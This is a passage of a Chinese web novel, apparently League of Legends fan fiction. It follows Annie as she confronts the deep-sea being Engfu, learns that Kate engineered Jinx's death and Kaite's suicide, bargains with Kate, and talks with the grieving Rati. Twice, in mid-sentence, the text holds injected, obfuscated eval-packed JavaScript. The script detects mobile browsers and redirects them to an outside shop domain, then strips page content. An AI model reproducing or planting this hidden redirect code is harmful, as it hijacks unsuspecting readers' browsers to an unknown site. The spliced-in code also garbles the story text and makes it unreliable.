路过海边的远洋货船时,男人忽然再次停住。 安妮顺着他的目光看过去,很轻易地看到了拉缇的身影。 拉缇究竟在海上经历了怎样的生死危难不得而知,但她每一次回来携带的巨额财富都让人眼红。 这是毋庸置疑的——所以男人也在羡慕她的运气吗? 安妮跟着男人回到家,他把东西递给妻子,紧接着,仿佛下定了某种决心:“我要出海。” 出海? 安妮心中一紧。 她模模糊糊感觉好像触碰到了什么真相,但紧接着被揪心代替。 “吞噬之海上的人,九死一生,你必须要去吗?哪怕是拉缇的船上,也死过很多人,可我们甚至连她的船都上不去,我不想你……” 也成为葬身的那一个。 “我没办法了……孩子的学费,我们的生活费,还有妈妈的疾病……哪样不需要花钱?只有出海,才能找到一线生机……” 一夜暴富,听起来只是妄想,但却是多少人的梦想。 “等我回来,至少能有十枚金币,到时候买了药,还了钱,再把房子修一修,或者换一个,我们也不用担心总有人嘲讽科迪,说他爸爸只是个深海都不敢去的懦夫了……” “我宁愿你是!” 只要你安全! “但我不想就这样认命……” 两人的对话消失在寒夜,安妮想到男人出去时,周围人嘲讽的目光,和他最后的停顿,好像很容易明白一切。 都是被逼的。 她是被天道所逼,而奥迪耐是被生活所逼。 安妮深深叹了口气,忽然想起什么。 她抬眸,看着奥迪耐虚无的身影,往后退了两步…… “你不用怀疑,他死了。” 是伊娃的声音。 安妮目送奥迪耐进入房门,她没有跟进去,但她能想象得到屋里的场景。 年迈病重的老人一定满眼期盼和骄傲,而他的孩子会抱着他,就像当初的自己抱着凯德阿姨一样。他们会一起憧憬未来的美好生活,一起默契地忽略那个最坏的结果…… 和她不同,当时的她是无知无觉的,而她现在知道,奥迪耐的结局…… “这其实就是千千万万,芸芸众生的结局。吞噬之海那么危险,为什么还会有那么多人愿意出海?每一年,在吞噬之海死亡的人数都只增不减,这就是生活。” “拉缇那样的人,终究是少数。天知道,她每次出海得到的一箱箱金币是多少人梦寐以求拼尽一生都得不到的东西。” “我其实很遗憾,七原罪是根据你的记忆创造幻境的,这也就导致它们只能根据你看到的、已有的认知帮助你感知七原罪。” “而这个世界的真相,远比你知道的残酷。” 伊娃的声音消失,奥迪耐也走了出来。 他关上门,好像也关上了一切牵挂。 周围的一切开始土崩瓦解,随后,冰冷刺骨的寒风吹来。 昏暗的天空、腥咸的海水、摇晃的小船,不需要太巨大的生物,一点点危险其实就足以将这艘小船吞没。 千千万万的小船…… 安妮站在中间,仿佛能感受到之前和拉缇一起遭遇的海难。奥迪耐的船只已经不见,而她在越来越深的黑暗中再次睡去。 只留下浑身冰冷。 安妮再次睁开眼,已经回到了那个漆黑的海底。 虽然看不见眼前的场景,但安妮很确定自己已经回来。而心中,那股不适感越来越重。 深海中死亡之人的怨气,却不是描绘的海难场景,而是在出海前经历的一切。 然而,正是因为知道结局,这样的回忆才让人真的感受到怨。 那是一种不甘于命运的怨。 既然生于天地 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看来是之前无害的表现让恩格孚误会了主次,但安妮并不想调整。 虽然,这看似是最干净利落的解决办法。 “我们聊聊吧。” 恩格孚的声音让安妮想到了基兰,想到了树爷爷,想到了女王,想到了一切寿命很长的人。 这些人有一个相同点,那就是需要交流。 他们可以是倾听的那个,也可以是说话的那个,但一定要参与交流。因为漫长的时间将阅历沉淀,必须要得到消化。 这也是缓解孤独的最好办法。 基兰在守望麦田收养那么多生灵,对所有到访的人进行帮助指导;树爷爷培养小小妮小小木,苏醒了就讲故事;伊卡思女王和欧提特等人鱼们保持联系,心甘情愿肩负领导者的责任……都是需要交流的表现。 而在深海之下独自消化怨气的恩格孚,一定也很需要交流。 她刚好是一个完美的听众。 “你倒是很合我的心意,我还以为你会思考怎么逃出去。” 大概是实力所在,有恃无恐吧。 安妮耸耸肩,将深海泰坦设置进入悬停模式。 “其实,我也不知道我想讲什么,或者能讲些什么。你如果指望我给点故事,那恐怕就要失望了。” 恩格孚叹了口气,安妮仿佛看到了一块黑土地在四十五度角仰望天空。 她被这个联想逗笑,随后问道:“你想知道天空是什么样吗?” 天空? “我的记忆里,有天空。” 虽然这些人的怨气很重,但恩格孚不得不进行消化,因此,他早已看过天空。这大概是作为海底生物,最骄傲的地方。 “不,那不是天空。”安妮想到很久很久以前的某个场景,说出那句铭刻于心的话,“人生中总是有很多不易察觉的风景。”你要学会停下来,静心体会。 这是当初自己嗤之以鼻的,但现在回想起来,圣城、祖神村、无妄森林、希望之森、亚特兰蒂斯、极寒之地、斩月山……太多太多的地点,太多太多的经历,都是终点遇不到的美好。 她在这之间成长了许多,也看到了许多人一辈子遇不到的风景。 哪怕在艾德文特面前,安妮也能骄傲地告诉他,自己如今的阅历有多丰富。若是相遇那天能够更晚…… 而天空,是最常见的风景。 安妮却不觉得恩格孚看完了。 “你如果能让我看到不一样的天空,或许我可以放你离开。” 恩格孚还觉得这是一个威胁,但安妮不以为意。 “稍等。” 她很想老老实实画一片天空,但那不是她希望的。 早在说出“天空”的时候,安妮想到的就是蒂尼送给她的星空。那样的美好,才是恩格孚应该看到的。 但这个密闭的空间里似乎拿不出那样东西,也展示不了。 好在征服者号的东西还是齐全的,寻常避水珠就十分常见。安妮拿了一颗含进嘴里,紧接着打开舱门游出去。 见她在巨大的压力和幽暗的环境中泰然自若,灵动如游鱼,恩格孚忽然意识到,也许自己小瞧了面前的少女。 冰凉的海水给安妮一种亲切感,但随后就是更巨大的陌生。 她知道,终究是不一样的。 “看好了,别眨眼。” 如果有眼睛的话。 安妮从怀里拿出一朵白色的鲜花,椭圆的花瓣迅速散开,变成光点铺满黑暗的海底。 各色光点相接、交错,一闪一闪,触手可及又遥不可及,近在咫尺又咫尺天涯。 这样绚丽夺目,在完全黑暗的地方是更加极致的璀璨。安妮浮在海水中,不知为何,感觉眼眶有些湿润。 辛诺最喜欢这片星空了…… “好美。” 恩格孚的声音还是那么深沉悠远,就好像安妮心底最深处的想法。 是啊,也只有那样极致单纯的人,才能创造出这样绝美的星空。除了“美”,她想不到更适合的形容词。 安妮就这样静止着,和恩格孚一起观赏这难得的美景。 不知过了多长时间,可能是转瞬,也可能是良久,总之,光点慢慢收束,形成花瓣,然后变为实体,缩小,回到手里。 安妮将花朵揣好,重新坐回征服者号。 “谢谢你的天空,虽然……我不太理解,天空真的是这样的吗?” “事实上,没有你看到的那么灰暗,但也没有我给你看的那么美好。” 就像现实,残酷得冰冷,却又能感受到幸福和温暖。 “不论如何,都谢谢你。” 至少给了他期望。 “不用谢……那个,我想知道,你大概多久会引动吞噬之潮?” “吞噬之潮?你们把我消化怨气的过程叫这个?” “对。” “我想……随时都可以。” 随时? “如果你是来安抚我的,我想我能坚持久一点……” “不,我是来激怒你的。” 恩格孚一怔,大概没想到安妮的目的截然相反,并且,这么直白。 “我想你应该会疑惑,但原因很难解释……” 安妮移开目光,难得有些心虚。毕竟马上要吞噬上万人的生命,不管是不是自己亲自动手,都让她难以接受。 可有些事,不得不做。 就像伊娃所说,牺牲一部分人,是为了拯救千万人。 “不管你的目的是什么,我都接受。原本还想着这次能够憋久点,不过早点释放也好。——你有全身而退的办法,对吗?” 早在安妮肆无忌惮出来的时候,他就知道了,少女的实力不低。 “钻进你的黑土里,不会对你有什么影响吧?” “我会接纳你。” 安妮得到回答,操控征服者号变身钻头,不过速度没有之前快,威力也大幅度削减。到达安全距离以后,她就立马停下了,紧接着,是一阵地动山摇…… 再次出来的时候,海底多了很多杂物,不过还是黑漆漆的,安妮看不清楚。 “怨气虽然挥发出去了很多,但我也累了,晚安。” “好,再见。” 她思考片刻,又拿出一个东西,郑重其事地插在恩格孚所属的土地上。 这是一个防水的视讯器,可以让科瑞特和恩格孚无障碍交流。若是他苏醒,大概会很乐意了解那个科技王国吧。 他们都需要交流。 20. 20 归还了深海泰坦,也算解决掉了约德尔城的所有后患。 安妮终于可以放心地前往圣城——突袭。 她刚刚去吞噬之海引发了吞噬之潮,回来后也不忘走大路,让各种人看见,其中一定能包括加丁的探子。 那么现在,要思考的就是怎么极速穿过恕瑞玛沙漠,到达圣城。 古往今来,都没有从恕瑞玛西边到东边的传送点,否则皇城早就成为圣城的附属了,因此,想过去似乎只有艰难的赶路。 但是安妮想到了阿木木的中娅沙漏。 恕瑞玛其实是中娅沙漏的沙子,这听起来很荒谬,但事实如此。中娅沙漏最大的能力就是创造空间,当初金字塔内的时间流速和外界不同,导致阿木木被艾德文特牵制,就是最好的证明。 而现在,只要让阿木木将恕瑞玛沙漠的时间调慢,供她赶路,就能实现在最短一天内穿越恕瑞玛沙漠的目标。 原本,安妮还以为阿木木需要一些实验和尝试,甚至做好了他失败后寻找第二方案的准备,但当她进入恕瑞玛沙漠待了一天,出来后莫斯卡表示她刚进去,安妮就知道阿木木成功了。 他永远那么完美,永远能在自己需要的时候现身,就像现在一样。 调整好时间以后,安妮便带着莫斯卡一起进入恕瑞玛沙漠。这次她没有丢下提伯斯,毕竟这也是战力之一。 虽然阿木木调慢了时间流速,但进入之后,安妮也没有丝毫懈怠,只要莫斯卡能走就赶路。 她没有和莫斯卡交谈的意思,也不需要伊娃的提醒和帮助,因此一路上两人都是沉默寡言的。偶尔看见莫斯卡因为长时间快速奔跑疲惫的身影,安妮会心中微痛,但很快冷静下来。 辛诺感受到的,是死亡的痛苦。 两人很快到达了恕瑞玛沙漠的中心——明明和其他地方景象一样,安妮就是有所感觉。 虽然心中已有准备,但一望无际的沙漠还是让她失落。阿瑞拉跟怀特的身影随风消散,就跟沙子一样,掉进地里,便再也找不回来了。 那段记忆也跟着模糊起来,只有艾德文特每夜的故事,越来越清晰…… 走出沙漠才只是现实世界里的一天多,安妮和莫斯卡离开沙漠后选择周边不易被人察觉的路线,很快从另一个方向到达了圣城。 这是一片地图上没有名字的小树林,作为圣城和恕瑞玛沙漠的过度。原本恕瑞玛整片都是森林的,这才能支持圣城和路西瑞城的繁华,但是中娅沙漏是神器,而神器是不对自己造成的变化负责的。 就像幽冥寒焰也恶劣了极寒冰原一样。 “我先去了解一下圣城目前的情况,之后叫你。” 圣城不仅仅有光明学院,还有很多势力,甚至有些人居住在里面就自成一派。安妮并不觉得愚蠢莽撞只有武力的阿修罗能靠着人数取胜,就算能也只是两败俱伤,这不是她所希望的。 最好的办法就是调查清楚如今圣城的主要势力,然后借路攻打光明学院。 就像当初的胡蛮一样。 乔装打扮一番后,安妮随便选了家人流量还算大的餐馆。她不敢去阿狸姐姐所在的悦来客栈,去了一定会被认出来,但她还没想好怎么面对阿狸。 等一切结束,大概才是最好的时机吧。 好在,这间餐馆也没让她失望,一坐进去,就有报童上前。 科瑞特的科技总是便捷生活的,至少在他那个王国,交流从不需要滞后的报纸。安妮已经很久没有看到过这么朴实无华的东西了,她直接把这三天的都要了一份。 没想到,三份报纸的醒目标题都是一样的。 而上面的名字,让安妮如坠冰窖。 [金克丝被卡伊特击杀] 师父…… 内容和标题一样令人震惊,但里面没有详细描述金克丝的死亡过程。 只是说金克丝被卡特提出的计划捕捉,由卡伊特亲自枪杀。事发地点在路西瑞城的西区,那里已经解除了封锁状态。 “新消息新消息!卡伊特重伤身亡!卡伊特重伤身亡!” 店小二忽然尖叫着冲进来。 “卡伊特也死了?不是说她没事吗?” “什么情况?总感觉事情不对劲啊。” “卡伊特死了,没有人为我们平民百姓说话了,唉……” 一连串消息砸得安妮反应不过来,她攥着报纸,模糊的图片上,那抹莹蓝色还是极致鲜艳耀眼。 “莫斯卡的情报网遍布源大陆,一定知道那天到底发生了什么,也许你可以把她叫来问问。” 伊娃的声音仍旧很平淡,就好像死亡的只是一个无关紧要的人。 安妮随便找了个包间,设置好隔音阵法,等待莫斯卡的到来。 不知道伊娃和莫斯卡到底有什么特殊的交流方式,总之莫斯卡到的时候手里已经拿着一叠照片。 安妮一张张翻看,比报纸上的图片清晰多了。很有可能是科瑞特的拍摄设备,至于莫斯卡怎么得来的她已经不关心。 看见图片上即使努力捕捉依旧快成残影的金克丝,安妮不理解。 她怎么会死?她的师父,精通身法的师父,怎么会死? “卡特找到了一个人。”莫斯卡从兜里拿出一张照片推给安妮,“这是一个贫民区的少女,但和金克丝的姐姐有百分之九十九的相似度。并且,她也心地善良,为了贫民区的孩子们不惜兼职三份工。” 照片上的女孩眉眼温柔,笑起来还有两个酒窝。 “卡特把她绑架,威胁金克丝现身。在最后的交战中,卡特把枪对准了那个少女,而金克丝的大炮瞄准了卡特。最后卡伊特出现击杀了金克丝,救下了卡特和那个少女,她们对外宣称,是金克丝想要伤害平民,她们才是阻止的那个。” 这就是为什么,描述很模糊,图片也很模糊。 因为越具体,真相越难掩盖。 “不过你不用太难过,击杀金克丝的卡伊特自杀了。” “自杀?” “卡伊特心中一直有一杆正义的天平,这也是她成为路西瑞城第一女警的原因。她是卡特最得意的学生,但接受不了老师的所作所为,以前的她可以对上层的黑暗睁一只眼闭一只眼,但金克丝,是她的底线。” 所以,就连卡伊特“重伤身亡”,也只是个谎言。 为了掩盖真相的谎言。 “卡特已经回到了路西瑞城处理卡伊特的事,我来不只是为了给你这些信息的。据我所知,吞噬之潮不仅将拉缇的势力大幅削减,卡特手下的警察也损失惨重,但她找加丁赔偿,商谈的结果不太理想。” “所以?” “路西瑞城和圣城本是一座城池,分成经济和政治的主城以后,两者可以说是附属关系——路西瑞城附属圣城。而我攻打光明学院,就算是偷袭,路西瑞城也能迅速做出反应,前来帮助。” “但是路西瑞城和圣城的关系不是坚不可摧的,你作为金克丝的徒弟,为师父报仇很正常吧?那假如卡特必须让你的鬼牌有一个攻击目标,她是会无视你攻打光明学院,还是前来支援?” 当然是无视自己最好。 毕竟安妮从整件事的经过就能看出,卡特是一个自私冷血的人。 但是,让她拿金克丝的死作为筹码,去和真正害死金克丝的人谈判? 安妮不接受。 莫斯卡就好像知道安妮在想什么,难得没露出吊儿郎当的表情,而是郑重的,就好像当初作为菲缇对安妮的教导。 “你现在可以直接杀了卡特,为金克丝报仇,但是之后呢?你们反抗的是这不公平的世道,而始作俑者是加丁。 你以为卡特为什么能突然找到之前那么久都没找到的人,又想出这么阴毒的计划?卡特杀死金克丝,路西瑞城没有了捣乱的人,获益的除了她还有谁?” 当然是还在攻打约德尔城,需要路西瑞城全力支持的加丁。 “我觉得,你现在最需要做的,除了和卡特商谈,还有拉缇。拉缇的海盗势力是为卡伊特服务的,卡特变相害死了卡伊特,桀骜不驯的拉缇还会心甘情愿给卡特服务吗?她现在需要的只是一个台阶,而你刚好可以递上去。” “我知道了。”安妮深吸一口气,没有立刻答应,“我会去路西瑞城的。” 这算是她最后的妥协。 “那我等你的好消息。” 莫斯卡率先离开,留下安妮在包间内,沉思。 伊娃难得没有聒噪,安妮于是出门,朝无妄森林走去。她如今的速度快如闪电,极速赶路之下,连科瑞特最得意的送信员都追不上。 从早上一直走到下午,又从下午走到晚上,不知道走了多久,安妮终于到达了那个地方。 站在悬崖上,往下看去,还是找不到莹蓝色的花朵。 安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296897|198573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妮深吸一口气,纵身跃下,幽冥的凤凰翎羽立刻把她托起,在空中行动自如。如今的她似乎变成了当初的秃鹫,而悬崖上再也没有那个胆怯弱小的身影。 安妮在灰暗中飞行着,视线在崖壁上逡巡。 不一会儿,她就感觉眼前一亮,一抹莹蓝色突兀地出现在视野边缘。在黑暗中那么温柔明净,就好像当初金克丝对她的帮助。 安妮飞到花朵前,伸手。这一次,摘下的花朵花瓣完整,还保留了根部,和很久很久以前,那朵皱巴巴的花截然不同。 环顾四周,没有秃鹫。 安妮慢慢飞回悬崖上,手里,那朵花还是散发着辉光。 她走到悬崖边,望着云雾缭绕看不清的悬崖底部,伸手,将那朵花又丢了下去。 寂静无声的,好像被几十年前的自己接住。 送给自己。 太阳已经落山了,但是安妮看着黑漆漆的脚下,只觉得那里的影子若隐若现。 是的,金克丝无处不在。 安妮想,或许她明白了。 路西瑞城。 处理好卡伊特的后事,卡特坐在冰冷的办公桌上,保持着一个姿势很久。 拉开抽屉,翻到最下面,是一张有些泛黄的照片。卡特拿出来,照片上的两人笑得很灿烂。 那是卡伊特第一次拍照,和她。 卡伊特是一个被父母抛弃的孩子,被丢到警署大门的那天,值班的正好是她,于是卡伊特成为了她的孩子,也是她最骄傲的学生。 见识了警察的正义执法,卡伊特立志成为路西瑞城最优秀的女警,她也做到了。 枪法精准,身法诡谲,在速度上无人能及,说出名号都能让路西瑞城的罪犯闻风丧胆。最后更是和海盗首领接班人拉缇成为了好友,从正面意义上达成了“警匪一家”。 多么纯粹的一个女警,可是她面对的,是不纯粹的世界。 卡特其实有在避免的。 避免让卡伊特知道那些需要镇压的暴乱百姓中,有一些只是拿不到工钱,家人重病死亡的可怜人;避免让卡伊特知道,她庇护在身后的可怜孩子,其实是霸凌弱小欺软怕硬,甚至导致许多家庭的希望死亡的罪魁祸首…… 可是只要有光明的地方就有黑暗,那么极致光明的卡伊特,又怎么可能接触不到黑暗。 也许她是配合自己装作不知道了的,可惜一切在金克丝的出现后被打破。 弱小无助的少女跪在地上磕头,甚至不惧怕枪弹的威胁,她们谁也无法再故作不知、相安无事。 其实对比起阴暗处无数悲惨的遭遇,金克丝已经不算什么。但她是第一个把世界真相撕裂,呈现在卡伊特面前的人。 她仿佛在无声地告诉卡伊特:你守护的正义才是最大的邪恶。 卡伊特和金克丝的较量,是光明与黑暗的较量,也是宿命的对决。 但她不能让这场对决就这样继续下去,因为她知道,最后的输家会是谁。 卡伊特不会死,但她会收敛起一身才能,在某一天悄无声息地离开路西瑞城。这也是卡伊特和拉缇相处中,卡特知道的。 在这一刻,警署的利益终于和卡伊特的利益产生冲突。 然后她做了这一生,最错误的一个决定。 她设计害死了金克丝,也害死了卡伊特。 她找来一个善良温柔,和金克丝的姐姐极度相似的人。其实她们都心知肚明,这不可能是金克丝的姐姐,但这个少女同样无辜,这就够了。 用她威胁金克丝现身,了结一切。 这个计划其实有加丁的意思,甚至一开始提出这个想法的就是加丁。但是实行一切的是她,甚至完善计划并执行的也是她。 就像过去无数次,她手把手教卡伊特作战一样。 金克丝终于死了,死在宿命的手里,但是那一刻,卡伊特也死了。 被金克丝的七个字杀死。 她和卡伊特相处了几十年,她自认为了解这个孩子,但可笑的是,她竟然在目睹了一切后,还若无其事地前往圣城。 这一逃避,等来的就是卡伊特的死讯。 在过去无数次,逃避的都是卡伊特,但是这一次,她终于不再逃避了。 逃避的变成了她。 “对不起……对不起。” 卡特捂着脸,好像这样就能抹去卡伊特死亡的这个事实。 21. 21 安妮潜入路西瑞城警署办公室的时候,看到的就是泣不成声的卡特。 身为路西瑞城最优秀的女警——卡伊特死后没有之一,她却没察觉到自己的到来。 但是安妮没有丝毫同情,她坐在卡特对面的凳子上,目光冰冷,等待女人回神。 加丁逼死了艾德文特,卡特逼死了卡伊特,唯一的区别大概是卡特会感到愧疚和自责,但这都是她自作自受。 他们都已经那么努力地无视这个世界的黑暗,为什么还要将从头到脚被染黑的自己剖开,递到他们面前? 卡特并没有哭多久,看到坐在对面的安妮,她有一瞬间惊讶,但很快进入戒备状态——尽管她知道,凭借安妮的实力,一切抵抗都是徒劳。 “我不是来杀你的——不然早动手了。”安妮耸肩,摊手表示无害,“我叫安妮,圣语里光明的意思,非要说身份……金克丝是我师父。” 再次听到“金克丝”的名字,卡特瞳孔微缩。 “我已经调查清楚师父的死因,直接凶手已经死了,但幕后黑手还活着,当然,不能说不是你,但也不能说全是你。” “你什么意思?” 卡特又恢复了一贯的严肃高傲,仿佛之前恸哭的不是自己。 “我们谈笔生意。你杀了金克丝,我可以睁一只眼闭一只眼,但前提是我攻打光明学院的时候,你也一样。” “攻打光明学院?” “具体用什么手段就不用你操心了,总之不需要借路。你只用装作什么也不知道——这可是你徒弟的拿手好戏。” 虽然卡伊特和艾德文特很像,但安妮对艾德文特的死无比悲伤惋惜,对卡伊特却毫无怜悯之心。 大概是她一直为虎作伥,而且,不管怎么说,她都杀了金克丝。 卡特也能听出安妮的鄙弃,但这只让她更加理智,知道安妮没开玩笑。 倘若自己还不知所谓地冲上去,她就会拿自己开刀。 卡特为什么误杀了卡伊特?就是担心路西瑞城会丧失一个顶级战力。而如今,她当然不可能主动让路西瑞城陷入危机。 想到加丁之前对自己的敷衍不屑,卡特甚至连一点心虚都没有。 “我答应你。” 安妮并不意外卡特的干脆,她可是为了路西瑞城,能逼死自己孩子的人。 “既然如此,合作愉快。” “你要去找拉缇对么?” 安妮没想到卡特的直觉这么敏锐,但想想也很好解释,毕竟现在是劝说拉缇的最佳时机。 “她应该在望玉山的山顶——这是卡伊特死亡的第三天,而那里也是她们相遇的地方。” “知道了。” 其实不用卡特告知,莫斯卡也能查到拉缇的位置。 “帮我把这个带给她,谢谢。” 卡特拿出一把陈旧却精致的左轮手枪。银色流畅的枪身,黑漆漆的枪口,冰冷坚硬,一如她本人。 不过,这应该是某个人的遗物,安妮曾经在卡伊特的腰间见过。 她接过手枪,点点头。 “祝你好运。” 卡特扬起一抹微笑,安妮不知道她每次和卡伊特分别的时候,是不是都这样。 “簌簌……” “唰唰……” 望玉山只是一座小山,安妮几乎可以悄无声息地来去自如,但她还是在上山的时候发出了足够让人听见的声响。 由于望玉山只有一个称得上山顶的地方,所以安妮很快就找到了那里的断崖。拉缇果然坐在断崖上,不过察觉到安妮的靠近就起身了。 她戒备的身体在发现是安妮的瞬间放松下来,甚至微笑了一下:“是你啊。” “晚好。” 安妮不知道该说什么,干脆先拿出了那把枪。 拉缇接过,用手擦了擦光洁的枪身,把它插到腰间的皮带里。 “我记得这把左轮手枪还是我送给她的。她真的笨死了,只会用一眼就让人看见的长枪,隔着老远就让对手戒备。我教她隐藏手枪,教她双手出击,教她偷袭和防偷袭……” 拉缇席地而坐,望着慢慢升上断崖的月亮,深深叹了口气。 “其实,她和你很像。如果她能在失望的第一时间就选择离开,我们不会走到今天这个地步……” “不,我和她不一样。”安妮看着拉缇,眼神坚定,“我永远不会与黑暗为伍。” 她所说的黑暗,不是所谓与光明对立的黑暗,而是扭曲人性的黑暗。 卡伊特也许没有直接创造这些黑暗,这些黑暗也还达不到“扭曲人性”的地步,但面对黑暗只有两种立场,不对抗,就是帮助。 “好吧,也许。但她远没有你想象的那么不堪,嗯……也许你知道一些居住在各种丛林边缘的村庄?” “知道。” 不仅知道,还在那里生活过。 “卡伊特告诉我,她的偶像是流浪法师符瑞,而她的梦想,就是能够成为符瑞那样的人——无拘无束、自由自在。把身上的金币全部分给需要帮助的人,然后潇洒地前往下一个未知的地点。” 符瑞是否真的存在,其实已经成为未知,就连流浪法师这个职业,也变得神秘起来。很多时候,符瑞代表的都是一种精神,一种被禁锢的灵魂想要挣脱的精神。 “其实,她之前也有在做的,将金币分给需要帮助的人,即使可能会被欺骗。只是,她做到了前半部分,没做到后半部分。” “是么?那我还勉强可以欣赏一下她。” 安妮挨着拉缇坐下,看着皎洁的月光洒下,在阴暗处形成一条小河。 “你似乎变成了一个实用主义者……这是什么时候的事?” “实用主义者?” 是的吧。 曾经的自己挣扎在精神的泥沼里,经历过祖神村的困窘,才有物质的基本认知。随后,七宗罪、恩格孚的幻境……无一不在告诉她,世界上还有另外一种困苦。 最基本的困苦。 现在,她已经不认为精神决定一切了。 沉默在蔓延,安妮看着惨白的月亮,手指动了动,但还是按下了拿出那朵花的冲动。 蒂尼的星空就像符瑞一样,美好得虚假。真正触碰到的那一刻,反而失去了本身的魅力。 这样普通的星空就很好,是卡伊特向往的平淡生活。 也是师父向往的…… “我来找你,其实是有一件事要说。” 见月亮彻底升上天空,安妮调整情绪,转移话题。 “肯定和那些海盗有关,对吧?” “嗯。” 说到这个,安妮其实有些心虚。 恩格孚引发的灾难,吞噬了那么多人的生命,她又如何称得上光明?尤其,切身体会过水手们劫后余生的快乐,和被逼出海的困境,她更能感受到生命的可贵。 “你不用太自责,只要想想这些海盗曾经为了财宝,连贫穷山村的妇孺孩童都不放过,就释然了。” “你就是这么安慰自己的吗?” 在每次杀人的时候。 “这不是安慰,不过你要这么觉得也没问题。很多时候,事情都具有两面性,人更是如此,所以做了什么,都不需要后悔,那就是现在最好的结果。” 安妮点点头,没有认同,但也没有反驳。 “所以,你找我要说什么?” “撤退吧。” “撤退?” “你是为了帮助卡伊特才去攻打约德尔城,如今卡伊特已死,你又何必继续呢?” “哦,这个啊。”拉缇耸耸肩,“你就算不说,我也会命令他们撤退的。” “是吗?” “或许不需要我命令。海盗本就对我和警察成为一家人有所不满,如今遭遇了重大伤亡,他们就更加想要揭竿而起,换新主人了。” “那你打算怎么做?” “如果卡伊特还在,她会帮我镇压造反的人,和我一起改造海盗们。但是现在,我只想任由他们争抢首领的位置,拿着一袋子金币滚蛋。” “卡特也会帮你。” 虽然卡特看不上拉缇,但她对路西瑞城足够忠诚,而帮助拉缇管理海盗,对路西瑞城来说是好事。 “那个老巫婆,我不想合作——我估计她也不会想和我合作。而且,我也不想再参与这些纷争了,完成卡伊特未完成的梦想,才是好朋友应该做的事。” “卡伊特未完成的梦想?” “也是我的梦想。” 拉缇的声音很轻,却很坚定。 安妮觉得,那其实是很多人的梦想。 “祝你好运。” “承你吉言。” 拉缇目送安妮离开,腰间的那把枪依旧冰冷,散发着零星的温度。 她继续坐在断崖上,望着惨白的月亮。 她和卡伊特的第一次相遇,就是在这里。 当时的她已经杀死父亲,肆无忌惮地跟从内心劫富济贫,拿着母亲给的那枚金币,每一次都幸运地和死神擦肩而过。 已经记不清是为什么被逼到望玉山,只记得那个时候的卡伊特混在警察堆里,显得稚嫩又可爱。 她恰好跟着大人搜查自己所在的位置,而在草丛里,她悄悄地竖起手指,悄悄地指了个方向。 后来,所有人都以为她离开了,警察们也就离开了,但是卡伊特留了下来。 拉缇也不知道她是怎么想的,竟然就在原地等着卡伊特回来。 好在她很快回神,只留给赶来的卡伊特一个潇洒的背影。 “我叫卡伊特,你叫什么?” 女孩大声询问,惊扰了林中的鸟雀。 “我叫拉缇……” 拉缇在心里默默地回答,但已经决定和她再也不见。 但是缘分就是这么神奇,海盗和警察总会相遇,尤其是,她故意将作案地点设在了路西瑞城。 那是最繁华的城市,拉缇这么告诉自己。 后来,卡伊特孤身接受海盗的邀请,和她谈判。那些人不知道,对于本身要谈的有关双方合作的问题,她们只说了两分钟就定好了主意,剩下的焦灼的两小时四十八分三十一秒,她们都在闲聊。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296898|198573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从天南聊到地北,就像后来一样,总是有说不完的话题,总是为一件事争吵后达成和解。 他们总是说,拉缇是唯一一个敢随时招惹卡伊特的人。 那是因为她很清楚卡伊特心中的底线。 她就从来不聊卡特,也不会拿卡特开玩笑。 卡特是卡伊特的救命恩人,是卡伊特的老师,也是她曾经的偶像。 为什么是曾经?因为就像女警这个身份一样,随着卡伊特的成长,她越来越发现自己所追求的不是自己真正想要的。 比死亡更悲恸的是亲眼看着信仰崩塌,偶像和梦想被现实一点点拉下神坛,卡伊特终于成为了路西瑞城第一女警,却不是她想成为的女警。 后来的无数次,她在出任务后掩面哭泣。 那些资料,她不想给,可是又不能不给。 于是卡伊特知道了,那些需要镇压的暴乱百姓中,有一些只是拿不到工钱,家人重病死亡的可怜人;知道了她庇护在身后的可怜孩子,其实是霸凌弱小欺软怕硬,甚至导致许多家庭的希望死亡的罪魁祸首…… 卡特其实有在避免的,拉缇知道。 将击杀任务减少,变成抓捕、解救、保护。 可是,卡伊特又何尝不知道? 她只能将所有纠结化为动力,不断地练习枪法、身法。路西瑞城第一女警的称号,是卡伊特蒙着眼睛夜以继日地训练得来的。 但就在自己都以为追求实力可以稍微替换卡伊特梦想的时候,她听到了那个少女一声无助的呢喃。 “速度第一,原来这么快。” 是啊,真快,都来不及抹消那些黑暗的记忆。 原来所谓遗忘,不过是她自欺欺人的安慰罢了。 那就做点什么吧,做点什么,总比什么也不做好…… “砰!” 一声枪响,面前人嚣张的嘴脸甚至都还没来得及收回。 拉缇记得当时的自己笑着摇了摇手枪,一脸无所谓:“他挑衅我……好吧,抱歉,手滑。” 这是一个经济犯罪的老板,在路西瑞城其实非常常见。他唯一不可饶恕的地方,大概是他使用劣质建材导致几个贫困居民死亡。 被抓到的那一刻,他笑得很得意。 因为路西瑞城有一条法律:捐献大笔钱财可以抵消牢狱之灾。 他的资金足够帮他翻盘,甚至东山再起,被抓住的时候,他还在大笑,扬言会参加四年后路西瑞城的改造贫民窟计划。 继续使用廉价的建材,反正那些贱民的性命一样廉价。 拉缇最后一枪结束了他的生命,理由是手滑。 从那以后,卡伊特学会了手滑。 不小心杀死追捕过程中十恶不赦的犯人,不小心放走了无辜但被资本家们追杀的好汉,直到最后,不小心放走了金克丝。 卡特发现一切其实很简单。 毕竟,她是卡伊特的老师,她很清楚卡伊特的实力。 